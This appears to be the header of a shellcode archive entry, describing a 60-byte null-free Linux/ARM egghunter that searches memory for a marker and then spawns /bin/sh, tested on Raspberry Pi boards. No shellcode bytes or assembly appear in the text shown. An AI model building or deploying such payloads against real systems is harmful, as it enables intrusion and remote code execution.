Linux/ARM - Egghunter (0x50905090) + execve(/bin/sh) Shellcode (60 bytes)

/*
* Title:  Linux/ARM - Memsafe egghunter (0x50905090) + execve("/bin/sh").  Null free shellcode (60 bytes)
* Date:   2018-06-06
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx 
* Description:  The shellcode will search the memory for the "EGG" and, when found, redirect execution to the location just after the EGG.
